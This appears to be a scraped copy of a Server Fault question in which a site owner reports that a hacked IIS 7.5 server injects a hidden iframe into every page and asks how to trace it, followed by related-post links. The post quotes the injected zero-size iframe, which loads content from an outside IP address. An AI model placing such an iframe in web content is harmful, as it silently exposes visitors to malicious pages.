IIS 7 Serving all pages with an injected iframe [closed]

Posted by Andre Carlucci on Server Fault See other posts from Server Fault or by Andre Carlucci
Published on 2012-06-16T15:47:51Z Indexed on 2012/06/16 21:17 UTC
Read the original article Hit count: 500

Filed under:

iis7.5

|

malicious

Possible Duplicate:
My server's been hacked EMERGENCY

My VPS just got hacked an all my pages are being served with an malicious iframe injected just before the html tag.

The code is like this:

<iframe src= http://117.21.247.171:700/1.htm width=0 height=0></iframe>                                                                                                                                                                                                                                   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR"> ...

Firstly I thought it could be something related with wordpress, but my asp.net sites are also infected and even if I create a static html file with nothing inside, the iframe is injected.

I'm using a Windows Server 2008 R2 Standard with IIS7.5 7600.

Please, I'm trying to find the source of this for hours now, any help would be really appreciated.

EDIT: Hey, why was this closed?

I'm very interested to know how that be done in IIS instead of simply re-installing everything.

Andre

© Server Fault or respective owner

Related posts about iis7.5

Configuring IIS7 404 page when using IIS7 urlrewrite module

as seen on Pro Webmasters - Search for 'Pro Webmasters'
I've got custom errors to work for .aspx page like: www.domain.com/whateverdfdgdfg.aspx But, when no .aspx url is requested, (like http://www.domain.com/hfdkfdh4545) it results in an error: HTTP Error 404.0 - Not Found The resource you are looking for has been removed, had its name changed… >>> More
How to create a Subdomain in IIS7?

as seen on Server Fault - Search for 'Server Fault'
In IIS7 I have a site: http://www.mydomain.com/mysite How can I get the same site to appear as: http://mysite.mydomain.com ? I already have the DNS set up and can ping it, I just do not know how to configure it in IIS7. >>> More
How can I control which IP address IIS7 uses?

as seen on Server Fault - Search for 'Server Fault'
In Win2k3 I used httpcfg to tell IIS to listen to specific IP addresses on the server. I want to run Apache with VisualSVN Server on port 80 on another IP address but IIS7 binds to all ports by default. What utility for IIS7 controls the IIS7 bindings? Update: I found the answer. There is a utility… >>> More
WCF service hosted in IIS7 with administrator rights?

as seen on Server Fault - Search for 'Server Fault'
Hello, How do I grant administrator rights to a running WCF service hosted in IIS7? The problem is, my code works fine in a test console application runned as an administrator, but the same code used from WCF service in IIS7 fails. When I run the same console test application without admin rights… >>> More
authentication problem on windows vista (cookie is getting written but httpcontext.current.user is n

as seen on Stack Overflow - Search for 'Stack Overflow'
authentication problem on windows vista (iis7) (cookie is getting written but httpcontext.current.user is null) >>> More

Related posts about malicious

Domain points me to some malicious URL and I can't get rid of it

as seen on Server Fault - Search for 'Server Fault'
Whenever I enter my URL into the browser, it keeps pointing me to http://fornax.myvnc.com/dev The URL doesn't even work and my antivirus doesn't complain about it so I am not sure what is happening. I logged into my domain manager at godaddy and it says that the nameservers are pointing to: NS46… >>> More
An Intrusion Prevention System Helps to Keep Your Computer Safe from Malicious Attacks

as seen on Article City - Search for 'Article City'
Completely solving the problem of viruses and malicious attacks on your computer, you need to have a powerful, fully-featured intrusion prevention system installed on your PC. You also need something... [Author: Ilya Rabinovich - Computers and Internet - March 29, 2010] >>> More
1/22: ScrLd-B Malicious JavaScript--and other Malware Threats

as seen on Internet.com - Search for 'Internet.com'
A round-up of the latest Trojan, spyware, virus and other threat alerts. >>> More
Prevent malicious vulnerability scan increasing load on a server

as seen on Server Fault - Search for 'Server Fault'
Hi all, this week we have been suffering some malicious vulnerability scans to our servers, increasing the load on them, making them nearly unusable. The attack is easy to defend, just blocking the offending ip, but only after discovering it. Is there any form of prevent it? Is it normal that… >>> More
twiki.. preventing malicious scripts

as seen on Stack Overflow - Search for 'Stack Overflow'
how to stop such scripts from getting into work in twiki.... "< !-- Set ALLOWTOPICCHANGE = AnupamCs5070221 enter code here -- >>> More